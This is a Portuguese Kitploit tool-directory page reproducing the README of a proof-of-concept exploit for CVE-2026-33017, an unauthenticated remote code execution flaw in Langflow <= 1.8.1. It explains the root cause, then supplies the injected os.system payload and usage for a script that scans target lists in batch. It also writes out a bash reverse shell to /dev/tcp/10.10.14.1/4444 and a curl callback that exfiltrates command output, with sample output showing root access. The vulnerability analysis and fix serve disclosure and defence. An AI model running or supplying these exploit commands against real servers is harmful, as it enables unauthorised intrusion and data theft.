Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Uma execução remota de código não autenticada em Langflow <= 1.8.1 via Public Flow Build Endpoint | Kitploit
Ferramentas/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Uma execução remota de código não autenticada em Langflow <= 1.8.1 via Public Flow Build Endpoint

Ver Repositório
1042há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33017 — PoC de RCE Não Autenticada no Langflow

CVE CVSS Affected Language

Apenas para fins educacionais e de testes autorizados.

Resumo

O Langflow <= 1.8.1 expõe um endpoint público de construção de fluxos que aceita dados de fluxo controlados pelo atacante contendo código arbitrário. Esse código é passado para prepare_global_scope() em validate.py, que chama exec() sem sandboxing, resultando em execução remota de código não autenticada com os privilégios do processo do servidor.

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • Gravidade: Crítica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • Correção: 1.9.0

Versões Afetadas

PacoteAfetadaCorrigida
pip langflow<= 1.8.11.9.0

Detalhes da Vulnerabilidade

Causa Raiz

O endpoint build_public_tmp é intencionalmente não autenticado — ele foi projetado para permitir que qualquer pessoa execute um fluxo público armazenado. A falha é que ele também aceita um parâmetro opcional data contendo definições de fluxo controladas pelo atacante. Um usuário não autenticado pode, portanto, enviar código de nó arbitrário que o servidor trata como um grafo de fluxo legítimo e passa diretamente para rotinas de execução de código sem validação.

A correção é simples: remover o parâmetro data e forçar o endpoint a chamar exclusivamente build_graph_from_db(), de modo que os fluxos públicos executem apenas os dados armazenados, nunca código fornecido pelo atacante.

Cadeia de Execução

O payload do atacante percorre a seguinte cadeia de chamadas antes de chegar à execução:

EtapaArquivoDetalhe
1chat.py:580build_public_tmp recebe dados do atacante no corpo da requisição
2build.py:81start_flow_build() encaminha o payload não confiável
3build.py:298build_graph_from_data() passa os dados para a construção do grafo
4base.py:1168Graph.from_payload() desserializa as definições de nós fornecidas pelo atacante
5base.py:1323instantiate_component() é chamado para cada nó
6loading.py:43O campo code é extraído dos parâmetros do componente personalizado
7eval.py:9create_class() recebe o código bruto do atacante
8validate.py:397exec(compiled_code, exec_globals) — sem sandboxing

Por que a Injeção em Nível de Módulo Funciona

prepare_global_scope() em validate.py processa nós ast.Assign durante a compilação do grafo — antes que qualquer método de fluxo seja invocado. Uma atribuição de nível superior no código injetado, portanto, é executada imediatamente:

root@kitploit:~
_r = __import__('os').system("whoami")  # runs at compile time, not at flow run time

A saída vai para o stdout do servidor, e não para a resposta HTTP. A exfiltração exige um callback de saída (reverse shell, webhook curl).

Endpoint Vulnerável

EndpointAutenticaçãoVetor de Ataque
POST /api/v1/build_public_tmp/{flow_id}/flowNenhumaRemoto, não autenticado

Cenários de Exploração

CenárioRequisito
A — AUTO_LOGIN habilitadoAUTO_LOGIN=true: obter um token JWT anonimamente, criar um fluxo PÚBLICO, explorar
B — Fluxo público conhecidoUm UUID de fluxo compartilhado/público é conhecido: explorar diretamente, sem autenticação necessária

Uso

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

Opções

FlagPadrãoDescrição
--url—URL única do Langflow de destino
--url-file—Arquivo de texto com uma URL por linha (varredura em lote)
--cmdidComando do sistema operacional a ser executado no alvo
--flow-id—UUID de um fluxo público existente (pula a criação do fluxo)
--threads5Número de threads paralelas para o modo em lote
--timeout15Tempo limite (timeout) da requisição HTTP em segundos
--no-cleanupfalseManter o fluxo criado após a exploração

Exemplos

Importante: O PoC usa os.system() no nível do módulo — o comando é executado no servidor, mas a saída vai para o stdout do servidor, e não de volta para a resposta HTTP. O PoC apenas confirma que a execução ocorreu ([+] VULNERABLE). Para realmente receber a saída do comando, use um dos métodos de exfiltração abaixo.

Confirmação cega (verifica RCE sem capturar a saída)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

Reverse shell — com listener local

root@kitploit:~
# 1. Start a listener on your machine
nc -lvnp 4444

# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Exfiltração OOB via callback HTTP — com servidor local

root@kitploit:~
# 1. Start a local HTTP server
python3 -m http.server 8080

# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

Com um UUID de fluxo público conhecido (sem necessidade de criação de fluxo)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

Varredura em lote a partir de arquivo

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

Exemplo de Saída

O PoC confirma que a execução ocorreu. [+] VULNERABLE significa que a construção foi bem-sucedida e o código injetado foi executado — isso não significa que a saída foi capturada.

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

Saída recebida no servidor HTTP local:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

Referências

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Repositório do Langflow
  • Relacionado: CVE-2025-3248 — problema semelhante de exec() em /api/v1/validate/code
Baixar ferramenta